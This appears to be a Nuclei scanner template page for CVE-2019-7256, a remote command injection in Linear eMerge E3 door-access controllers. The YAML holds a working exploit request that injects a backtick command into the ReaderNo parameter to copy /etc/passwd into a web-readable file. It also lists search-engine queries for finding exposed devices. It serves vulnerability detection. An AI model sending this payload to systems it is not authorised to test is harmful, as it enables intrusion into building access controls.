eMerge E3 1.00-06 - Remote Code Execution

ID: CVE-2019-7256

Severity: critical

Author: pikpikcu

Tags: cve,cve2019,emerge,rce,edb,nortekcontrol,kev

Description

Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities.

YAML Source

id: CVE-2019-7256

info:
  name: eMerge E3 1.00-06 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of eMerge E3.
  reference:
    - https://www.exploit-db.com/exploits/47619
    - http://linear-solutions.com/nsc_family/e3-series/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7256
    - https://applied-risk.com/labs/advisories
    - https://www.applied-risk.com/resources/ar-2019-005
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2019-7256
    cwe-id: CWE-78
    epss-score: 0.97443
    epss-percentile: 0.99947
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query:
      - title:"eMerge"
      - http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,rce,edb,nortekcontrol,kev
variables:
  file: "{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20{{file}}.txt%60 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /{{file}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220410ba2f04e9045dfb0d41fdd03cf314d8b8afcd589d2871231b7c88b9abf6dbf022100dc2b3dfb1cefd691d273b2db67ee019e0acc5c822dc6dc91f6df54d6ea41ac89:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-7256.yaml"

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